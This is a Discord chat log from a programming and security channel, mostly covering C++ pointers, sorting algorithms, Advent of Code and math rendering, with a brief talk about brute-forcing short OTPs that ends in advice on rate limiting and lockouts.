At least any halfway decent dev would do it serverside

devout root
#

probably contacts a backend server to verify at least

brazen eagle
#

The OTP is usually time based and with a unique key per user

#

Not sure how the code is generated though

#

I'll assume that the key is stored in the db somewhere

#

Though that might actually be interesting to get a hold of

sour apex
#

if there was only one correct combination (4 numbers) and that leads to the admin account, can i verify the otp with a script?

devout root
#

depends on the actual algorith being used

brazen eagle
#

I'll assume there are RFCs for the major formats

#

The idea behind an OTP (one time password) is that they are valid only once

devout root
#

typical totps are usually hmac with sha1 on a shared secret with time element with tolerance of around 30 seconds

brazen eagle
devout root
#

some transformation and truncation is performed after

brazen eagle
#

Here's a couple

devout root
#

unless the otp is simply a randomly generated 4 digit sequence with unlimited tries, thats a pretty quick brute force

brazen eagle
#

Yup

#

10000 tries can be done in under a minute

sour apex
#

i can put a rate limit tho

brazen eagle
#

You'll want a lockout after say 3 tries

sour apex
#

ok thanks for the helpπŸ™‚

brazen eagle
#

The first RFC I linked has a reference implementation

latent jackal
#

i need help understanding what this php code does plz dm me

onyx merlin
#

Please do not ask for help with an active CTF. It's widely regarded as cheating. @latent jackal

latent jackal
#

its not even active but ok

#

nice

onyx merlin
#

they promptly left the server

brazen eagle
#

anyone here try to get ktor working with graalVM before?

stone kayak
#

advent of code looks good

#

i normalyl do BSIO / CF but that first problem is actually a problem i love a lot

#

at least part 1 πŸ˜„

brazen eagle
#

there's a few nice ones yeah

#

I'd add codingame to the list

stone kayak
#

Is that CP?

#

or just general coding?

#

I can do a general coding list

brazen eagle
#

there's rankings, but it's pretty chill

stone kayak
#

There's also battlesnakes

brazen eagle
stone kayak
brazen eagle
#

alright time to see if my ssrf test will work...

brazen eagle
#

bah works on dev but not on prod 😦

stone kayak
#

lmao AoC gets super hard so fast

#

this is so much fun

brazen eagle
#

haha

#

had to use a full-fledged minimal os though 😦

#

and now sleep

tulip sail
stone kayak
#

i meant code πŸ˜›

tulip sail
#

smh. Can't use the same acronym twice!

surreal bronze
#

Theirs also one which combines malware / forensics with programming

#

I'm trying to remember what it is but am strugglingpepehands

#

For hosting

#

Browser IDEs

#
strange swallow
#

Does anyone know a command to change the IP on Windows?

onyx merlin
#

Sounds like a google question to me

sly breach
#

TIL Amazon has an IDE 🀯

clear needle
#

I thought cloud9 was a seperate cloud service from AWS

#

I wonder if they got acquired

cold cloak
#

It used to be iirc

tidal panther
#

amazon aquires a lot of things

brazen eagle
#

or a VM?

#

damnit Java, why do you have to call your process output getInputStream

stone kayak
brazen eagle
#

hmm, I should probably make this room I'm making a LITTLE bit harder than this...

#

ah why not it'll be fun

true pumice
#

hmm

cursive orchid
#

you should probably change it

#

since you've just shown everyone how to do it

true pumice
#

^

lucid jasper
#

almost 5 years ago i wanna say

subtle coyote
cold cloak
cursive orchid
#

neither blobby but πŸ€·β€β™‚οΈ

subtle coyote
opaque berry
#

why

humble venture
#

Cash - Is this still for AoC2?

terse coral
brazen eagle
#

did you try with " instead of '?

stone kayak
#

It's an error on the previous line πŸ™‚

surreal bronze
#

Python 2 doesn't support f strings πŸ˜›

surreal bronze
brazen eagle
#

ah didn't see it was py2

opaque berry
surreal bronze
#

πŸ‘

scenic cedar
#

anyone plz recommend some great books for javascript

glacial silo
#

void addfront(struct list **head,std::string newdata)
{
list *add;
add = new list();

add->root= newdata;
add->lead= (*head);
(*head)= add;

}
can some one explain to me what the "head" does in this code?

onyx merlin
#

The head of a queue structure?

#

I feel like we need some more context

glacial silo
#

can i dm you for that?

onyx merlin
#

Please don't

glacial silo
#

or just post the rest here

onyx merlin
#

I'm guessing this is a homework assignment?

glacial silo
#

no im just learning...

onyx merlin
#

Ok, I'd recommend reading up about queues and how they're implemented then

#

Get the theoretical grounding first, work towards the implementation

glacial silo
#

oh i've read it but i dont get what the command does....

onyx merlin
#

It's not a command

#

It's a parameter passed into the function

#

struct list **head

magic falcon
#

Looks like a FILO linked list. This is also not best practices to mix C and C++ in the way shown. It's legal, but instead of passing pointers to pointers, the AFAIK the preferred method is to pass a weak pointer or shared pointer instead.

glacial silo
#

@magic falcon can you tell me a bit more specific about this "weak pointer"?

#

i cant find it on google

brazen eagle
#

looks more like a deque than a queue

#

convention usually capitalizes struct names as well, no? I haven't done any C in forever though

brazen eagle
#

ah C++11

magic falcon
#

Managing handle life cycle can be really painful. The newer functionality makes it a lot simpler IMO

brazen eagle
#

using reference counting it seems

magic falcon
#

for the weak pointer yes - it also has some thread-safe mechanics built into it. Helps to debug race conditions without seg faulting

glacial silo
#

new knowledge are always so intimidating

brazen eagle
#

yeah ok, and you have to transform it to a shared_ptr to use it

#

which probably locks a mutex

magic falcon
#

it is a type of shared_ptr. You shouldn't need to cast or anything ,it inherits directly from shared_ptr

#

it does depend on the original object being a shared_ptr before being used though

brazen eagle
#

It must be converted to std::shared_ptr in order to access the referenced object.

glacial silo
#

guys slow down :(( i have only started learning data structure for like 4 days....

brazen eagle
#

example seems to say to lock the ptr, which returns the shared_ptr

#

so yeah looks like a mutex

#

well that's cute

#

last time I was doing any C++ work we were stuck on C++03

#

or even 98

#

so manual memory management which was a pain

magic falcon
#

IIRC its more like a semaphore - either its accessible or not. And yeah, you're right. It's been too long since I've been able to really play around with C++, the lock() function does return a shared_ptr created from the stored ptr object

#

RIAA is a godsend

#

sorry, RAII

brazen eagle
#

it's a mutex to access the object, probably semaphore-like for memory management

#

gods it's been forever since OS class...

magic falcon
#

being able to scope dynamic memory and not have to worry about leaks was a godsend grading systems programming assignments

#

nothing like having to restart the grading VM for every other assignment

brazen eagle
#

well, it's just harder to leak now

magic falcon
#

makes it easier to debug for sure

glacial silo
#

im lost...

brazen eagle
#

Haha

#

Sorry

magic falcon
#

and less likely to happen - i can only really remember leaks happening when the students forgot to block correctly

#

RAII is 'Resource Allocation Is Initialization'

brazen eagle
#

Basically, C++ has made it easier to manage memory recently

magic falcon
#

so you should never really be using new and delete any more to allocate objects

brazen eagle
#

Yesh

#

Use the magic pointers

magic falcon
#

implicit construction is bound to the enclosing block, so lifecycle is clearly bound and managed

glacial silo
#

and ur saying i shouldnt use it...

brazen eagle
#

Well before three years ago, new was the norm

#

Ok maybe 4 or 5

magic falcon
#

from a style guide, I'd agree. it was introduced in C++11 though

#

with the new <memory> lib

brazen eagle
#

Yeah but noone really used c++11 constructs for a while

magic falcon
#

Yeah

brazen eagle
#

At least not in enterprise

glacial silo
#

isnt c++ is for base knowledge?

magic falcon
#

If you are doing some kind of homework as a new programming student, do it the way the instructor is telling you. 1) you are being graded on doing it that way; 2) what we're talking about is more advanced concepts assuming built on those fundamentals; 3) some emeritus instructors are 15+ years out of industry standards, so they may not be fully engaged with the HUGE shift that has occured in C++ over the last 10 years

glacial silo
magic falcon
#

Walk yourself through it. You've given us a code snippet, but haven't said what part of it is confusing. Take is slow and break down each operation.

brazen eagle
#

Yeah you're just assigning the first element of your list/queue to the head element

magic falcon
#

This is clearly either a take-home lab or a homework assignment. The terminology has been changed so the answer can't just be googled

brazen eagle
#

Well lead in this case

#

Pointers are tricky though

magic falcon
#

When I learned, I found 'Pointer Fun with Binky' to be very helpful

brazen eagle
#

I was going to recommend that

#

Should be on YouTube somewhere

#

Sorry, I'm trying to make a bechamel at the same time

magic falcon
#

I see you are also a person of culture. The traditional folk dances as sorting algorithms series is also a great learning visualization

brazen eagle
#

I saw that one too

magic falcon
#

There is a whole series of them

#

They cover most of the common and interesting sorts, although bubble sort seems to be the most popular?

brazen eagle
#

It's the easiest aside from BOGO

magic falcon
#

I suppose. I always thought insertion and selection were on the same level of accessibility

brazen eagle
#

Easier to understand bubble I suppose

glacial silo
#

imma brute force this thing....

#

this is hopeless

brazen eagle
#

Insertion and selection are better being O(n^2)

magic falcon
#

Insertion is still more efficient than merge for small n though

stone kayak
#

its also in place

#

which is lovelyyyy

brazen eagle
#

Less setup

magic falcon
#

IIRC standard implementation of merge and quicksort uses selection for sufficiently small n

brazen eagle
#

Makes sense

tepid zephyr
#

is the content inside a .info file used by a program?

magic falcon
#

@stone kayak Quicksort is also in-place, but can't bee (ha?) parallelized as easily as merge

brazen eagle
#

Probably reverts to selection once you subdivided enough

magic falcon
#

yeah, it does

#

when n/2 <threshold, selection gets used

#

quicksort can be run concurrently, but the memory management is a bit trickier to do than merge

onyx merlin
#

And it sounds like it's gonna depend

tepid zephyr
tepid zephyr
glacial silo
#

you guys are all passionate but i figured i might understand this alot easier without going here...

#

thanks anyway

brazen eagle
#

Watch the binky pointer video. But in my experience, you either get it or you don't

brazen eagle
#

Yes

glacial silo
#

i thought u were making fun of me >_>

brazen eagle
#

It's ancient but the basics still hold

#

No seriously it's a great video

glacial silo
#

bruhhh

mystic nimbus
#

C++ fun, lol

magic falcon
#

Pointer fun with Binky is the absolute best explanation of pointers and dereferencing I've found to date

#

It's a legitimately good resource, in exactly the same way as the SELinux coloring book

brazen eagle
#

Plus the claymation is great!

surreal bronze
#

Anybody want to help collab on a programming project? I've always thought that most discord servers are English language only and find it hard to type in their language. Its basically a discord bot that detects non english language, uses google translate (or another translator), deletes the msg and replaces it with the translated msg. Python :P

mystic nimbus
#

forced english discord server?

stone kayak
#

advent of code day 5 the solution is just so good

#

I didn't think of that at all

clear needle
#

I’m confused

mystic nimbus
#

it's an online coding challenge

stone kayak
#

day 5

#

i did binary search

#

but it was just binary

#

blew my mind lol

magic falcon
#

binary search was the first algorithm that blew my mind

#

self-balancing tree is another category that was eye opening, in terms of optimizing for primary use

stone kayak
#

oh yeah

#

trees are awesome

#

tries too

#

AVL trees are so good

#

i've never implemented one

#

but the concept is very nice

magic falcon
#

2-3 tree was the first i learned, Red-Black is also a REALLY cool algorithm

#

hashmap vs hashtree can also be a fun comparison to make

stone kayak
#

oh boy

#

i've never heard of a hashtree

#

look at how short that wikipedia article is

#

with 1 reference

#

thats lovely

#

thats the kinda esoteric knowledge i desire hahaha

brazen eagle
#

red-black trees are...odd

#

nifty but odd

normal jetty
#

Any SOAR users out there looking for some training and recommendations.

snow stump
#

Anyone know how to show (using the command alert()) the console.log in my website

rapid stratus
tulip ibex
#

can anyone pls help me out on this

#
(ii)    Is  the  result  obtained  correct?  If  not,  why?
(iii)    What  changes  should  he  make  to  obtain  the  correct  result?```
#

im bit confused

#

python

surreal bronze
#

Why don't you run the code and find out? :P

true pumice
#

@fickle dome Can you avoid giving people answers to questions they have, helping them is okay but giving them the straight answer is against what we follow :)

mystic nimbus
true pumice
#

oo I have

#

Different program although kekw

low gyro
#

can someone look over my c++ code

#

if yes pls dm

tulip ibex
#

result is correct or not. if not why

#

that one

#

im confused

#

thanks

brazen eagle
brazen eagle
#

gods I dislike front-end dev 😦

stone kayak
#

$$\begin{cases} 1 \\ 2 \end{cases}$$ why does my equation appear on 1 line instead of 2?

#

In Katex

#

Oh I think I know why

magic falcon
#

newline doesn't split that way inside equations in Latex; IIRC it's $\somefunction{line1}{line2}

stone kayak
magic falcon
#

I'm looking at the Katex docs now

stone kayak
#

I found an issue for it

magic falcon
#

Issue was closed as resolved by way of inclusion of a PR almost 2 years ago - if its still broken, that's pretty bad

stone kayak
#

I don't get any errors

#

but I also don't get a new line

#

Ok think I'll just go to Mathjax :L

#

I need cases haha

magic falcon
#

that sounds reasonable - MathJax came up a lot in a quick google of 'best way to display math formula in webpages'

stone kayak
#

Katex is meant to be faster, but Mathjax updated this year and it had a speed improvement, I'm going to test them both to see. I don't mind a couple ms more so long as I get actually working maths

#

Okay cases in Mathjax do not work either

#

this has to be some CSS thing right

#

Surely multi line things (cases, matrices, proofs) are one of the most essential features for a math rendering engine lol

magic falcon
#

You'd think so - is there a workaround like 'render to png'

#

as inelegant as that is

stone kayak
brazen eagle
#

Oh dear

#

Good luck with that

lilac holly
#

Hey y'all

#

Good morning